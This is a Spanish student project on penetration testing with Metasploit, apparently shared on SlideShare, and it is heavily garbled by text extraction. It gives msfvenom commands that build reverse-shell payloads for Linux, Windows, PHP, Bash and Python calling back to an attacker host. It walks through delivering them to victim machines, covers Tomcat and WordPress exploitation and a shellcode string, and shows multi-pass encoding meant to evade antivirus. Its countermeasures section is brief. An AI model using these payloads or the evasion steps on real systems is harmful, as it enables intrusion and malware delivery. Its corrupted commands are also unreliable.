SlideShare una empresa de Scribd logo
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Proyecto: “Pruebas de intrusión
mediante Metasploit Framework“.
Erlaitz Parreño Muñoz.
Alumno de ASIX 2017/2019.
Erlaitz Parreñño Paágiña 1
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Índice Proyecto
1. Introducción……………………………………………………………………………………… 3
1.1 Objetivos…………….....…………………………………………………………………… 3
2. Conceptos Previos…………...……………………………………………………………….. 4
3. Descripción Sistema Informático.………………………………………………………. 4
3.1 Hardware……………………………………………………………………………………. 4
3.2 Software……………………………………………………………………………………... 4
4. Fases………………………………………………………………………………………………….. 5
4.1 Instalación………………………………………………………………………………… 5-6
4.2 Confiuración……………………………………………………………………………... 7
4.3 Funcionamiento……………………………………………………………………… 8-12
5. Ataques……………………………………………………………………………………………… 13
5.1 Payloads y Consola inversa…..………………………………………………… 13-26
5.2 Exploits Públicos……………………………………………………………………. 26-30
6. Módulos auxiliares……………………………………………………………………….. 31-36
7. Contramedidas……………………………………………………………………………… 37-38
8. Conclusiones……………………………………………………………………………………… 39
9. Biblioirafa………………………………………………………………………………………… 40
Erlaitz Parreñño Paágiña 2
Pruebas de intrusión mediante Metasploit Framework 2ASIX
1. Introducción.
Este proyecto está enfocado en el campo de la seguridad informátcaa en el cual
hacemos uso del llamado en inglés (Pentestngg que signifca pruebas de
penetración o intrusión.
Esto consistrá en hacer uso de “Exploitsr para tomar el control de la maquina
víctma. El signifcado de exploit traducido es: un fragmento de softarea
fragmento de datos o secuencia de comandos y/o accionesa utliiada con el fn
de aprovechar una vulnerabilidad de seguridad.
Estos Exploits se encuentran en una herramienta llamada Metasploit
Frametorka que contene gran variedad de exploits almacenados en su base de
datos que con una previa confguracióna te permiten explotar la vulnerabilidad
en la maquina objetvo o víctma.
1.1 Objetivos
En este proyecto vamos a seguir una serie de objetvos mediante el uso de la
herramienta Metasploit Frametork:
 Como principal objetvo vamos a dejar claro que es y cómo funciona
Metasploit Frametork.
 Crear maltare y abrir sesiones de Metasploit Frametork para
comprometer maquinas en diferentes Sistemas Operatvos y
aplicaciones.
 Uso de exploits públicos almacenados para comprometer servicios como
( HTTPa aplicacionesa etcg.
 La utliiación de módulos auxiliares.
Erlaitz Parreñño Paágiña 3
Pruebas de intrusión mediante Metasploit Framework 2ASIX
2. Conceptos Previos
Este tpo de ataques se pueden realiiar para bien o para mal. En el caso de
hacer el bien hablamos de hacking étco que consiste en reportar las
vulnerabilidades encontradas para su posible parcheado.
Para mal consistrá en atacar con malas intenciones con la fnalidad de robar
información o datos y destrucción o encriptación de los mismos. Estos ataques
suelen estar relacionados con grupos cibercriminales.
3. Descripción Sistema Informático
En el siguiente punto voy a colocar los componentes con los cuales he podido
realiiar el siguiente proyecto:
3.1 Hardware
Hoy en día sirve cualquier ordenador pero es recomendable disponer de un
procesador de 4 núcleos de arquitectura 64 bitsa 8GB de memoria RAMa Disco
duro con al menos 500GB.
Mi CPU: Intel-Core I7 4790 3a6Ghi
Memoria RAM: 16 GB HYPERX
Disco HDD: 2TB
Ratón y teclado.
3.2 Software
Recomiendo el uso del sistema operatvo Kali-Linux ya que contene muchas
librerías y herramientas funcionales para el pestestng. Además del uso de
maquinas virtuales para realiiar las pertnentes pruebas en un entorno
controlado.
MI S.O: Kali-Linux 2019
Softare Extra: Maquinas virtuales en MMAARE y virtualbox.
Erlaitz Parreñño Paágiña 4
Pruebas de intrusión mediante Metasploit Framework 2ASIX
4. Fases.
4.1 Instalación
En esta fase se contemplan las instalaciones y confguraciones necesarias para el
buen funcionamiento del proyecto:
Instalaremos el sistema operatvo Kali-Linux de arquitectura x64 Bits con el
entorno gráfco GNOME que el que viene por defecto.
En la misma instalación es recomendable crear una partción aparte para este
sistema ya que el uso de este sistema no es para uso recreatvo. Moy a tomar
como ejemplo una partción de 40GB EXT4y 2GB de SAAP.
Erlaitz Parreñño Paágiña 5
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Finalmente siguiendo la instalación por defectoa la instalación se completaría. La
preiunta es ¿por qué Kali-Linux?
La respuesta es simple porque al instalar Kali-Linux tenemos una serie de
ventajas:
- Disponemos de la herramienta Metasploit Frametork ya instalada y eso nos
ahorra tempo ya que requiere instalar muchas librerías en Ruby.
- Disponemos de muchas librerías en Python para crear tus propios Scripts
relacionados con la seguridad.
- Disponemos de muchas herramientas instaladas listas para utliiar.
Sobre el idioma no he querido recalcar nada ya que es al gusto de la persona en
mi caso el idioma y teclado están en español. Pero perfectamente se pueden
colocar en estadunidense.
Erlaitz Parreñño Paágiña 6
Pruebas de intrusión mediante Metasploit Framework 2ASIX
4.2 Configuración
En este punto voy a recalcar la confguración óptma para empeiar a trabajar
adecuadamente en Kali-Linux:
Primeramente una de las cosas más importantes es agregar las URL de los
repositorios de Kali-Linux en el fchero “sources.listr.
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
(OPCIONAL) deb http://http.kali.org/kali kali-rolling main non-free contrib
Agregaremos estos tres repositorios en el fchero: /etc/apt/sources.list y
guardamos el fchero modifcado.
Seguidamente es recomendable actualiiar los repositorios con el siguiente
comando:
root@kali:~# apt update && upgrade
Es recomendable añadir un acceso rápido para ejecutar una terminal ya que los
usuarios que hayan utliiado otras distribuciones estén acostumbrados a ello. En
Confguración / Teclado / Combinaciones del teclado tenemos que añadir una
combinación personaliiada.
Por ejemplo Ctrl + alt + t para abrir un terminal se haría de la siguiente forma:
Erlaitz Parreñño Paágiña 7
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Por últmo una herramienta opcional que puede venir muy bien a las personas
que abren muchas ventanas en terminales. Para tener una iona de trabajo más
estructurada podemos hacer uso de “Terminatorr que te deja abrir múltples
terminales en la misma terminal.
4.3 Funcionamiento
A contnuación en este punto voy a recalcar el funcionamiento de manera
teórica de Metasploit Frametork haciendo referencia al primer objetvo.
¿Qué es Metasploit Framework?
El proyecto Metasploit se presenta en el 2003a con el objetvo de Estandariiar y
organiiar aspectos caótcos de no estandariiación.
En su forma inicial era un paquete de funciones en Perl. Para poder satsfacer
las demandas de los usuariosa en el 2006 la versión 3.0 del MSF (Metasploit
Frametorkg fue laniadaa totalmente reescrito en Ruby.
¿Qué labor realiza Metasploit Framework en el Pentestini?
Actualmente Metasploit es una herramienta pentesta para el desarrollo y
ejecución de exploits destnada a auditar vulnerabilidades y ayuda en test de
penetración.
Erlaitz Parreñño Paágiña 8
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Está disponible para Unixa MACa Aindots y Linux.
En Metasploit dispones de diferentes versiones tal como una open source de la
comunidad y otra para empresas:
Metasploit Frametork: Es una plataforma open source que soporta
investgación de vulnerabilidadesa desarrollo de exploits y creación de
herramientas de seguridad personaliiadaa representa la más grande colección
de exploits de calidad. (GRATUITOg
Metasploit Pro: Habilidad de identfcara auditar y explotar aplicaciones teba
laniar campañas de ingeniería social a gran escalaa evasión de antvirusa IDS/IPSa
MPN pivotnga Integración de Nexpose a nivel empresaa trabajo colaboratvo y
generación informes. El problema es que es costoso (15.000$g / AÑO.
¿Cuál es la arquitectura de Metasploit?
Las herramientas son scripts que ayudan a la elaboración de los módulos de
Metasploit.
Los Pluiins son programas externos que usan recursos de Metasploita como por
ejemplo SQLmapa NMAPa etc que se conectan a la MSF BASE.
Las interfaces es donde se puede ejecutar mestasploit. Excluyendo que Aeb es
para la versión pro.
Erlaitz Parreñño Paágiña 9
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Ahora vamos a hablar de las librerías de Metasploit con su defnición:
MSF BASE: Es donde está la confguración y los recursos de Metasploit. Usa
recursos de MSF Core.
MSF Core: Nos proporciona una API básica con rutnas para desarrollar
programas y herramientas
REX: Es una librería que meicla funciona para manejo de Socketsa componentes
adicionales del sistemaa protocolosa etc. esta librería se usa para la mayoría de
las tareas.
A contnuación voy a recalcar el vocabulario y módulos que utliia Metasploit:
Exploits: Son fragmentos de softare que tenen el fn de aprovechar una
vulnerabilidad en un sistema.
Payloads: También conocidos como “carga útlra es la parte del maltare que
realiia una acción maliciosa.
Nops: Son utliiados por los payloads para que se puedan ejecutar de manera
satsfactoria en la memoriaa estos evitan que el procesador interrumpa la carga
de este.
Codifcadores (Encoders:: Estos les sirven a los antvirusa debido a que cuando
pasamos nuestros payloads por los codifcadores para que puedan ser utliiados
reciben una frmaa los antvirus han desarrollado la capacidad de detectar esta
frmaa esto les deja detener varios ataquesa para evitar esto se creó Meil-
Frametork.
Auxiliary: Los auxiliares no son comúnmente utliiados para explotara están
orientados a navegadores teba la mayoría de ellos son utliiados para
Informaton gatheringa como hacking con buscadores.
Erlaitz Parreñño Paágiña 10
Pruebas de intrusión mediante Metasploit Framework 2ASIX
¿Cómo funciona Metasploit?
Para iniciar por consola el Metasploit hacemos uso del comando “msfconsoler
ya que es la interfai más completa de operacióna con acceso a todas las
opciones del frametorka si no se conocen comandosa teclear en la consola
“shot [parámetro]r (Exploitsa Payloadsa etcg para desplegarlos y seleccionar uno
de ellos y laniarlo.
Para seleccionar un exploit hacemos uso de “use [Nombre Exploit]r Por
ejemplo: use exploit/mult/hhp/tomcat_jsp_upload_bypass y optons para ver
la confguración del exploit.
Con las ordenes set [Nombre] (RHOSTSa RPORTa etcg podemos cambiar la IP por
la del objetvo al igual que el puerto y las opciones que tenemos extra.
Erlaitz Parreñño Paágiña 11
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Finalmente para ejecutar el exploit hacemos uso del comando “runr o “exploitr
en el terminal para que se ejecute.
También disponemos de una opción extra con el comando “checkr que testea el
host objetvo para detectar si es vulnerable o no. Este comando es muy útl para
no comprometer el equipo.
Erlaitz Parreñño Paágiña 12
Pruebas de intrusión mediante Metasploit Framework 2ASIX
5. Desarrollo del Proyecto
5.1 Payloads y Consola Inversa
En este punto vamos a recalcar como utliiar payloads para diferentes sistemas
operatvos y el uso de reverse Shell para obtener el control y tener ejecución de
comandos de la maquina comprometdaa haciendo referencia al objetvo
número dos.
Para comeniar en Metasploit disponemos de un comando que te permite crear
payloads para diferentes extensiones.
MSFVENOM: Es un generador de paylodad independiente de Metasploit. Esta
herramienta es una combinación de msfpayload y msfencode utliiar ambas
herramientas en una única instancia. Es potente ya que es una transformación
de dos herramientas como msfencode y msfpayload.
Con el comando “msfvenom –lr podemos listar los payloads que podemos
utliiar:
Una cosa a aclarar es que la ejecución con éxito de estos payloads que voy a
colocar a contnuación permiten conectarte al host objetvo mediante una Shell
y tener acceso con privilegios máximos.
Erlaitz Parreñño Paágiña 13
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Payloads Binarios:
Los payloads binarios al ser programados para ser ejecutables se ejecutan y
contenen una backdoor que hace que se ejecute una sesión en el host objetvo.
Shellcodes: es un programa softare (usualmente escrito en lenguaje
ensambladorg representado mediante los códigos binarios de las instruccionesa
inyectado por un atacante en el espacio de direcciones de un proceso.
Un ejemplo es que la utliiación de este código en hexadecimal es el resultado
de una /bin/sh:
char *shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1xb0x0bxcdx80";
Entonces los payloads se encargan de ejecutar códigos binarios que en realidad
son órdenes o comandos en el host objetvo apuntando a nuestra IP y puerto.
Con Metasploit puedes iniciar un “handlerr de escucha en cualquier momentoa
esto es útl cuando estás ejecutando un backdoor en una máquina y necesitas
que se conecte a tu máquina para poder tomar control remoto.
A contnuación te mostrare los pasos para levantar un servicio que escucha en el
mismo puerto de tu backdoor.
Erlaitz Parreñño Paágiña 14
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP
Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Creara un fchero elf que es ejecutable en el sistema Linux ejecutando una Shell
a la IP y Puerto colocado.
1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg
2- Nos descargamos o enviamos el fchero en el host víctma (Mítcimag
3- Ejecutamos el handler en Metasploit Frametork (Atacanteg
Erlaitz Parreñño Paágiña 15
Pruebas de intrusión mediante Metasploit Framework 2ASIX
4- Ejecutamos el fchero ejecutable (elfg en el host víctma (Míctmag
5-Se abre la session en Metasploit y nos da acceso remoto al equipo Ubuntu
(Atacanteg
Erlaitz Parreñño Paágiña 16
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Windows: msfvenom -p tindots/meterpreter/reverse_tcp LHOST=<Your IP
Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Creara un fchero exe que es ejecutable en el sistema Aindots ejecutando una
Shell a la IP y Puerto colocado.
1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg
2- Nos descargamos o enviamos el fchero en el host víctma (Mítcimag
3- Ejecutamos el handler en Metasploit Frametork (Atacanteg
Erlaitz Parreñño Paágiña 17
Pruebas de intrusión mediante Metasploit Framework 2ASIX
4- Ejecutamos el fchero ejecutable (exeg en el host víctma (Míctmag
5- Se abre la session en Metasploit y nos da acceso remoto al equipo Aindots
(Atacanteg
Erlaitz Parreñño Paágiña 18
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Payloads Web
Los payloads teb están programados para ejecutarse en el servidor al que
subamos el fchero infectado. En este caso vamos a crear un payload en PHP
para subirlo a un servidor teb y ejecutarlo para nosotros tomar el control del
servidor.
PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f rat > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >>
shell.php
Al subir el fchero PHP en el servidor victma al ejecutar el fchero iniciara una
sesión en una Shell apuntando a nuestra IP y puerto teniendo acceso por
comandos al servidor.
1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg
2- En este caso es diferente porque tenemos que subir un archivo PHP a un
servidor victma en este caso he seleccionado esta teb. (Mictmag
Erlaitz Parreñño Paágiña 19
Pruebas de intrusión mediante Metasploit Framework 2ASIX
3- Ejecutamos el handler en Metasploit Frametork (Atacanteg
Erlaitz Parreñño Paágiña 20
Pruebas de intrusión mediante Metasploit Framework 2ASIX
4- Subimos el fchero en el servidor víctma y accedemos al enlace de la
shell.php para actvar la sesión en metasploit. (Atacanteg
5- Finalmente accedemos a la sesión y tenemos acceso remoto al servidor teb
que esta hosteando la página en php. (Atacanteg
6- Existe otra manera de tener comandos por PHP con otra reverse shell en caso
de fallo con la de metasploit
Erlaitz Parreñño Paágiña 21
Pruebas de intrusión mediante Metasploit Framework 2ASIX
(En este caso el servidor tendría que ser Linuxg
Payload Script:
Los siguientes payloads se realiian a partr de scripts que se ejecutarían en la
maquina objetvo. Los más utliiados suelen ser los script en Bash y Python.
Contenen comandos del mismo Linux para crear la Shell apuntando a nuestra IP
y Puerto.
Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f rat > shell.sh
Ejecutará un comando en shell para ejecutar una reverse shell en el host
objetvo.
Erlaitz Parreñño Paágiña 22
Pruebas de intrusión mediante Metasploit Framework 2ASIX
1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg
2- Nos descargamos o enviamos el fchero en el host víctma (Mítcimag
3- Ejecutamos el handler en Mestasploit Frametork (Atacanteg
4- Ejecutamos el fchero (.shg en el host víctma (Míctmag
Erlaitz Parreñño Paágiña 23
Pruebas de intrusión mediante Metasploit Framework 2ASIX
5- Finalmente se abre la sesión de Metasploit en la cual tenemos acceso remoto
al Ubuntu.
Python: msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f rat > shell.py
Ejecutará un comando en shell desde python para ejecutar una reverse shell en
el host objetvo.
1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg
2- Nos descargamos o enviamos el fchero en el host víctma (Mítcimag
Erlaitz Parreñño Paágiña 24
Pruebas de intrusión mediante Metasploit Framework 2ASIX
3- Ejecutamos el handler en Mestasploit Frametork (Atacanteg
4- Ejecutamos el fchero (.pyg en el host víctma (Míctmag
5- Finalmente se abre la sesión de Metasploit en la cual tenemos acceso remoto
a otro Kali Linux de prueba.
Erlaitz Parreñño Paágiña 25
Pruebas de intrusión mediante Metasploit Framework 2ASIX
5.2 Exploits Públicos
Cuando hablamos de exploits almacenados estoy haciendo referencia a las
vulnerabilidades publicadas públicamente por su autores en internet y que han
sido programadas en Ruby para poder utliiarlas en Metasploit.
Es decir que Metasploit nos permite buscar entre los módulos vulnerabilidades
para una gran variedad de servicios. A contnuación voy a poner ejemplos de
diferentes exploits que van asociados a la versión del servicio.
Todo comienia teniendo que saber la versión del servicio de la víctma así que
tenemos que realiiar “fngerprintng y outprintngr que signifcan recolección de
información del servidor para poder crear nuestro vector de ataque a una
versión en partcular del servicio.
Este es un ejemplo de una vulnerabilidad de Tomcat (Servidor Java teb
aplicatong. Al ejecutar Apache Tomcat versiones 9.0.0.M1 a 9.0.0, 8.5.0 a
8.5.22, 8.0.0.RC1 a 8.0.46 y 7.0.0 a 7.0.81 con HTTP PUT habilitados (p. Ej.,
Mediante la configuración de solo lectura parámetro de inicialización del Servlet
predeterminado en falso) fue posible cargar un archivo JSP en el servidor a
través de una solicitud especialmente diseñada.
Erlaitz Parreñño Paágiña 26
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Este JSP podría solicitarse y cualquier código que contenga sería ejecutado
por el servidor. Este exploit hace referencia a CVE-2017-12617 que se
encuentra en Metasploit.
2- Colocamos las opciones correctamente y ponemos la contraseña por defecto
del servidor tomcat.
Erlaitz Parreñño Paágiña 27
Pruebas de intrusión mediante Metasploit Framework 2ASIX
3- Ejecutamos el exploit y realiiara un despliegue de un fchero JSP con una
reverse shell donde tendremos acceso por comandos al host víctma.
Otro ejemplo es otra vulnerabilidad reportada en Aordpress que este módulo
Metasploit generará un complementoa empaquetará la carga útl en él y lo
cargará en un servidor que ejecuta AordPressa siempre que se utlicen
credenciales de administrador válidas. Es valido para cualquier versión solo
necesitamos las credenciales que por fueria bruta hemos conseguido del
administrador
2- Aqui tenemos un servidor tordpress que la contraseña por defecto es
admin/admin
Erlaitz Parreñño Paágiña 28
Pruebas de intrusión mediante Metasploit Framework 2ASIX
3- Añadimos las opciones correctas en el exploit de metasploit previamente
antes de ejecutar el exploit.
4- Ejecutamos el exploit y subimos la reverse_shell mediante el usuario
administrador apuntando a nuestra IP y tomamos el control del servidor.
Erlaitz Parreñño Paágiña 29
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Erlaitz Parreñño Paágiña 30
Pruebas de intrusión mediante Metasploit Framework 2ASIX
6. Modulos Auxiliares
La Recolección de información es la base para cualquier prueba de penetración
exitosaa en esta fase el objetvo es recopilar la mayor cantdad de información
de modo que nos permita hacernos una idea de los sistemas y programas en
funcionamiento.
A contnuación veremos 3 técnicas utliiadas en la recolección de información
con ayuda de la herramienta Metasploit Frametork y sus módulos auxiliares.
- Escaneo de Puertos
- Identfcación de Servicios
- Snifng de Contraseñas
Escaneo de puertos:
A través del escaneo de puertos podremos identfcar posibles vulnerabilidadesa
antes de comeniar a utliiar los módulos dentro de Metasploit una de las
buenas práctcas es operar junto a la base de datos interna asignada por el
gestor postgreSQL y crear un espacio de trabajo dedicada a la auditoría en
específcoa esto nos facilita el trabajo cuando debamos generar el informe fnal.
Una característca de Mestasploita es que nos permite ver de manera organiiada
nuestros descubrimientos y poder identfcar separadamente los hosta servicesa
torkspacea notesa loot y vulns.
Db_connect: Nos permitrá conectar con una base de datos existente en el
sistema.
Erlaitz Parreñño Paágiña 31
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Db_disconnect: Nos permitrá desconectar de la instancia de la base de datos
actual.
Db_export: Nos permitrá exporta un archivo con el contenido de la base de
datos.
Db_import: Nos permitrá importar un archivo de resultado de escaneado.
Db_nmap: Nos permitrá ejecutar NMAP dentro de MSF y registrar la salida
automátcamente en la base de datos conectada.
Db_rebuild_cache: Nos permitrá reconstruir el caché del módulo almacenado
en la base de datos.
Db_status: Muestra el estado de la base de datos actual (conectadaa
desconectada o algunos casos no se encontraráa en este momento debemos
inicialiiar la BD con Msfdb initg.
Hosts: Nos visualiiará una lista de todos los hosts identfcados previamente con
db_nmap o importados en la base de datos.
Loot: Nos permitrá visualiiar una lista de los volcados hash extraídos desde una
máquina comprometda y registrada en la base de datos conectada a MSF.
Notes: Nos visualiiará una lista de todas las notas creadas en la base de datos.
Services: Nos visualiiará una lista con todos los servicios identfcados
previamente en el host/s registrados en la base de datos.
Vulns: Nos permitrá Enumerar todas las vulnerabilidades identfcadas
previamente en los host/s.
Workspace: Nos permitrá tanto crear como cambiar entre espacios de trabajo
registrados en la base de datos.
Teniendo claro cuál será nuestro espacio de trabajo donde iremos recompilando
la información que vayamos obteniendoa podemos utliiar el comando
db_nmap para ejecutar NMAP dentro de la consola de Metasploit de manera
Erlaitz Parreñño Paágiña 32
Pruebas de intrusión mediante Metasploit Framework 2ASIX
que nuestros resultados de análisis sean almacenados automátcamente en
nuestra base de datos.
Escaneo de puerto (Portscan:
Adicionalmente a Nmap también podemos utliiar los módulos auxiliares para
realiiar un escanera para el siguiente caso utliiaremos los payload syn.
Puede realiiar rápidamente un escaneo de miles de puertos por segundo en una
red rápida que no se vea obstaculiiada por fretalls restrictvos. También es
relatvamente discreto y sigiloso ya que nunca completa las conexiones TCP.
Erlaitz Parreñño Paágiña 33
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Metasploit también incluye una gran variedad de escáneres para diversos
servicios a menudo nos ayuda a determinar servicios potencialmente
vulnerables en máquinas de destno. En esta ocasión tenemos smb_version cual
nos permitrá identfcar el estado del puerto 445:
Sniffini de Contrasesas
Un Snifer es una aplicación de redes informátcasa que nos permitrá capturar
los paquetes que viajan en la reda en Metasploit disponemos de la herramienta
Psnuffle un snifer que nos permitráa de una manera sencilla capturar datos de
los protocolos POP3a IMAPa FTP y HTTP (solo petciones GETg.
Encoders:
Ya hemos visto cómo usar la utlidad msfvenom para generar varias payloads.
Sin embargoa estos payloadsa si se usan como estána son más probables de ser
detectados por los programas antvirus. Para evitar la detección antvirus de
nuestro payloada necesitamos utliiar los codifcadores ofrecidos por la utlidad
msfvenom.
Erlaitz Parreñño Paágiña 34
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Se utliiaría de la siguiente maneraa añadiríamos a los comandos anteriormente
escritos en el documento pero añadiríamos un parámetro -e (ENCODERg y el
nombre del encoder que tenemos en la imagen. Ejemplo:
Windows: msfvenom -p tindots/meterpreter/reverse_tcp LHOST=<Your IP
Address> LPORT=<Your Port to Connect On> -e x86/shikata_ga_nai -f exe >
shell.exe
Ahora disponemos de un payload codifcado para evadir algunos antvirus no
actualiiados. Una cosa importante que recalcar es que hay que ir mirando
nuevos codifcadores para poder evitar los AAF y AM.
Cuando realiiamos la detección de antvirus sin modifcar el binario estátco en
sía siempre es un juego del gato y el ratóna porque las frmas de antvirus se
actualiian con frecuencia para detectar cargas útles nuevas y modifcadas.
Dentro del Marcoa podemos obtener mejores resultados a través de la
codifcación múltplea lo que permite al payload que se codifcará varias veces
para eliminar los programas antvirus que comprueban las frmas. la codifcación
Erlaitz Parreñño Paágiña 35
Pruebas de intrusión mediante Metasploit Framework 2ASIX
shikata_ga_nai es polimórfcaa lo que signifca que la carga útl cambiará cada
vei que se ejecute el script.
msfvenom -p tindots/meterpreter/reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -e x86/shikata_ga_nai --encoder-space 4096
-i 11 -f exe > shell.exe
Aquí utliiamos 3 recuentos en shikata_ga_naia alimentando el código en
formato sin procesar en 2 recuentos de codifcación alpha_upper ena que luego
se alimenta a otros 3 recuentos de shikata_ga_naia seguidos de 3 recuentos de
codifcación de cuenta regresiva ena antes de dirigir fnalmente la salida a El
ejecutable deseado. Estamos utliiando un total de 11 bucles de codifcación en
un intento de eludir el softare antvirus.
Erlaitz Parreñño Paágiña 36
Pruebas de intrusión mediante Metasploit Framework 2ASIX
7. Contramedidas
Para un usuario comúna detectar un maltare sin las herramientas adecuadas
puede resultar muy difcil porque la mayoría de los códigos maliciosos intentan
pasar inadvertdos ocultando cualquier comportamiento extraño que pudiera
hacer sospechar a la víctma de que su sistema está infectado.
Es imprescindible para detectar maltare que los usuarios instalen una solución
de seguridad con el objetvo de proteger el sistema de amenaias informátcas
que pudieran ingresar a la maquina o dispositvo móvil.
Para evitar este tpo de ataquesa los usuarios han de tener en cuenta de que no
existe la Aeb 100% segura en Internet y que deben tomar medidas para
protegerse. La actualiiación del sistema operatvo y de aquellas aplicaciones
más vulnerables ante estos ataques (navegadoresa Flash Player y Javaa
principalmenteg resulta crucial para mitgar estos ataques.
Pero a veces esto no es sufciente y es necesario contar con un Antvirus que sea
capai de detectar este tpo de scripts maliciososa no solo los que utlicen
JavaScript sino también los que usen PoterShell.
Erlaitz Parreñño Paágiña 37
Pruebas de intrusión mediante Metasploit Framework 2ASIX
Están siendo utliiados por los ciberdelincuentes para propagar todo tpo de
amenaias como troyanosa ransomtare o bots. No obstantea ahora cuentas con
medidas de seguridad adecuadas paraa como mínimoa mitgar el alcance de este
tpo de ataques. Tan solo debes tomarte la molesta de confgurar aquellas
medidas de seguridad que te protegen frente a un ataque de este tpo.
Aindots 10a concretamente en sus últmas versiones (desde la Anniversary
Update en adelanteg cuenta con grandes mejoras de seguridad a nivel interno y
con medidas de mitgación de amenaias que le hacen práctcamente
invulnerable ante los exploits (incluso contra una gran cantdad de maltare
diferentea como el ransomtareg claroa eso sía siempre y cuando nuestro sistema
esté correctamente actualiiado.
Si junto a esto evitamos descargar archivos desde fuentes extrañas y de dudosa
fabilidad y abrir los archivos adjuntos que nos llegan a través de correos basuraa
estaremos bastante protegidos contra todas estas posibles amenaias
potenciales.
Erlaitz Parreñño Paágiña 38
Pruebas de intrusión mediante Metasploit Framework 2ASIX
8. Conclusiones
Este proyecto me ha resultado bastante intrigante de realiiarlo por que me ha
servido para aprender aún más de la base que ya disponía en la herramienta de
Mestasploit desde saber como funciona internamente y poder realiiar pruebas
práctcas de hacking con la herramienta.
Durante el proyecto se me ha sido complicado encontrar la manera de
desarrollarlo ya que tenía muchas ideas en la cabeia y pues tenía de alguna
manera que estructurarlas. Sobre todo porque no quería que fuera muy teórico
y haya más capturas para entender un poco mejor lo que quería comunicar.
Tuvo algunos problemas a la hora de realiiar el proyecto con las pruebas
práctcas de hacking porque tenía que buscar exploits y instalar servicios en un
servidor para poder hacer funcionar correctamente las “Reverse Shellsr. Tenía
que buscar versiones vulnerables y incluso cambiar las contraseñas por defecto
a nivel de fchero de confguración.
También fue complicado la forma en la que ibas a desarrollar el proyecto
hablando de los exploits por dentro ya que todo es un código binario y lenguaje
maquina en hexadecimal y sería difcil de explicar que realiia todo exactamente.
Finalmente como satsfacción personal me ha gustado realiiar el proyecto ya
que amplía mis conocimientos en el tema hacking étco y a la vei puedo
compartrlos en la presentación con el jurado y tener la satsfacción de que
conoico mejor el mundillo del hacking.
Erlaitz Parreñño Paágiña 39
Pruebas de intrusión mediante Metasploit Framework 2ASIX
9. Bibliografía
hhps://github.com/rapid7/metasploit-frametork/tiki/Hot-to-use-msfvenom
hhps://es.tikipedia.org/tiki/Metasploit
hhp://ttt.elladodelmal.com/2018/03/metasploit-como-extender-las.html
hhp://ttt.reydes.com/d/?
q=Fundamentos_de_Metasploit_Frametork_para_la_Explotacion
hhps://netsec.ts/?p=331
hhps://ttt.ofensive-security.com/metasploit-unleashed/binary-payloads/
hhps://security.stackexchange.com/questons/78594/choosing-encoder-for-
payloads-in-metasploit
hhps://ttt.dragonjar.org/desarrollo-de-modulos-auxiliares-hhp-en-
metasploit.xhtml
hhps://cybersecurity.upv.es/dotnloads/frop.pdf
hhps://ttt.hackingmexico.one/blog/2016/10/21/venomshellcode/
Erlaitz Parreñño Paágiña 40

Más contenido relacionado

PPSX
La Alhambra. Palacios Nazaríes. Granada 1
DOC
ĐỒ ÁN - Thiết kế và xây dựng bộ PID để điều khiển mức nước trong bể chứa công...
PPT
Pruebas de intrusion mediante Metasploit Framework
PDF
Webinar Gratuito: Metasploit Framework
PDF
Metasploit v0.5
PDF
Curso de Metasploit
PDF
Webinar Gratuito "Metasploit Framework"
PDF
Episodio de pentesting
La Alhambra. Palacios Nazaríes. Granada 1
ĐỒ ÁN - Thiết kế và xây dựng bộ PID để điều khiển mức nước trong bể chứa công...
Pruebas de intrusion mediante Metasploit Framework
Webinar Gratuito: Metasploit Framework
Metasploit v0.5
Curso de Metasploit
Webinar Gratuito "Metasploit Framework"
Episodio de pentesting

Similar a Memoria Pruebas de intrusion mediante Metasploit Framework (20)

PDF
Penetración con una Backdoor
PDF
Webinar Gratuito: Crear un Medio Infectado con Metasploit Framework
PPTX
HerramientasExplotacion-GRUPO5.pptx
PDF
Webinar Gratuito: Metasploit Framework
PDF
Cpods training-metasploit
PPTX
Amenazas lógicas
PPTX
Amenazas lógicas
PPTX
Amenazas lógicas
PPTX
Amenazas lógicas
PPTX
Amenazas lógicas
PPTX
AMENAZAS EN LA RED- METAPLOIT.pptx
PDF
Webinar Gratuito: "Explorando Kali Linux"
PPTX
Metasploit Class: Shellshock Attack
PDF
Network.Penetration.CGSOL
PPTX
Pruebas de penetración
PDF
PDF
Sad tema2 pen_test_iii
PDF
Clase no5 acceso
PPT
Suites de auditorias informáticas
Penetración con una Backdoor
Webinar Gratuito: Crear un Medio Infectado con Metasploit Framework
HerramientasExplotacion-GRUPO5.pptx
Webinar Gratuito: Metasploit Framework
Cpods training-metasploit
Amenazas lógicas
Amenazas lógicas
Amenazas lógicas
Amenazas lógicas
